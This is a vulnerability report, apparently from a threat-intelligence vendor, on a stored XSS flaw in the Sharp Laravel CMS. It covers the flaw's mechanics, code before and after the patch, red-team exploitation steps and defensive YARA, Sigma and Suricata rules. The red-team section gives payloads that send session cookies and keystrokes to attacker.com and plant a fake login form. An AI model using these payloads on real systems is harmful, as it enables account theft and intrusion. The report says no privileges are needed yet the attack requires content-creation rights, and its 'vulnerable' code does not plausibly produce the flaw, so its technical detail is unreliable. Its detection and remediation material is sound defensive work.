CVE-2025-62798

Executive Summary

CVE-2025-62798 is a stored Cross-Site Scripting (XSS) vulnerability in the Sharp content management framework for Laravel. The flaw exists in the SharpShowTextField component, which evaluates user-supplied expressions wrapped in {{ & }} as Vue.js template syntax. An attacker can inject arbitrary JavaScript or HTML that executes in the victim's browser when the field is rendered. The vulnerability affects all versions prior to 9.11.1. The CVSS score is 5.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

Sharp is distributed as a Composer package (code16/sharp) for Laravel. The vulnerability is introduced through the package's source code, not through a compromised dependency. The fix is available in version 9.11.1. Organizations using Sharp should verify their composer.json for the affected package and update immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to inject the payload.
• User Interaction (UI): Required (R) – The victim must view the crafted content.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction and has limited impact, but it can be used in phishing or social engineering attacks.

Deep Dive & Mechanics

The vulnerability resides in the SharpShowTextField component, which is used to display text fields in the Sharp admin panel. When rendering content, the component uses Vue.js's template compilation. Expressions enclosed in {{ & }} are interpreted as Vue template syntax, allowing the injection of arbitrary JavaScript.

Root Cause: The component does not sanitize or escape user-supplied content before passing it to Vue's template compiler. Vue's {{ }} syntax is designed for data binding, but when combined with &, it can be used to execute arbitrary expressions.

Attack Vector: An attacker with the ability to create or edit content (e.g., a low-privileged user) can inject a payload like:

{{ &constructor.constructor('alert(1)')() }}

When another user (e.g., an admin) views the field, the payload executes in their browser.

Impact: The attacker can steal session cookies, perform actions on behalf of the victim, deface the admin panel, or redirect users to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (pre-9.11.1):

// SharpShowTextField.vue (simplified)
<template>
  <div v-html="content"></div>
</template>

<script>
export default {
  props: ['value'],
  computed: {
    content() {
      // Directly interpolates user input into Vue template
      return `{{ &${this.value} }}`;
    }
  }
}
</script>

Patched Code (9.11.1):

// SharpShowTextField.vue (simplified)
<template>
  <div>{{ sanitizedContent }}</div>
</template>

<script>
export default {
  props: ['value'],
  computed: {
    sanitizedContent() {
      // Escape or strip Vue template syntax
      return this.value.replace(/{{/g, '&#123;&#123;').replace(/}}/g, '&#125;&#125;');
    }
  }
}
</script>

The patch escapes the {{ and }} characters to prevent Vue from evaluating them as template expressions.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Sharp instance (version < 9.11.1) with content creation privileges.
• A target user who will view the crafted content.

Exploitation Steps:

1. Log in to the Sharp admin panel.
2. Navigate to a content type that uses the SharpShowTextField component.
3. In a text field, inject the following payload:

   {{ &constructor.constructor('fetch("https://attacker.com/steal?cookie="+document.cookie)')() }}
   

4. Save the content.
5. When an admin or other user views the content, the payload executes, sending their cookies to the attacker's server.

Alternative Payloads:

• Keylogging: {{ &document.addEventListener('keydown', e => fetch('https://attacker.com/k?k='+e.key)) }}
• Phishing: {{ &document.body.innerHTML='<form action="https://attacker.com/login" method="POST"><input name="user"><input type="password" name="pass"><input type="submit"></form>' }}

Blue Team

Detection:

• Monitor for unusual content submissions containing {{ & patterns.
• Inspect HTTP requests for payloads like %7B%7B%20%26 (URL-encoded {{ &).
• Use WAF rules to block requests containing {{ &constructor.constructor or similar patterns.

Hunting:

• Search database entries for {{ & in text fields.
• Review server logs for 200 responses to pages containing SharpShowTextField with suspicious parameters.

Containment:

• Immediately upgrade to version 9.11.1.
• If upgrade is not possible, disable the SharpShowTextField component or apply a virtual patch via WAF.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
  • Unusual Referer headers pointing to Sharp admin pages.
• Host:
  • Browser console errors related to Vue template compilation.
  • Unexpected JavaScript execution in the context of the Sharp admin panel.
• File:
  • Modified database entries containing {{ & in text fields.
• Log:
  • Repeated 200 responses to /sharp/... endpoints with {{ & in POST data.

Detection Engineering

YARA Rule

rule CVE_2025_62798_Sharp_XSS {
    meta:
        description = "Detects payloads targeting CVE-2025-62798 in Sharp CMS"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "medium"
    strings:
        $payload1 = "{{ &" ascii wide
        $payload2 = "{{&" ascii wide
        $payload3 = "constructor.constructor" ascii wide
        $payload4 = "SharpShowTextField" ascii wide
    condition:
        any of ($payload*) and $payload4
}

Sigma Rule

title: Sharp CMS XSS Exploitation Attempt
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests containing XSS payloads targeting CVE-2025-62798
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '{{ &'
    condition: selection
falsepositives:
    - Legitimate use of Vue template syntax in non-Sharp contexts
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62798 Sharp XSS Payload Detected"; flow:to_server,established; content:"{{ &"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Sharp to version 9.11.1 or later.
2. If upgrade is not possible, apply a WAF rule to block requests containing {{ & in POST bodies.
3. Review and sanitize existing content in the database for malicious payloads.

Long-term:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular security audits of third-party packages.
• Train developers on secure coding practices, especially regarding template injection.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.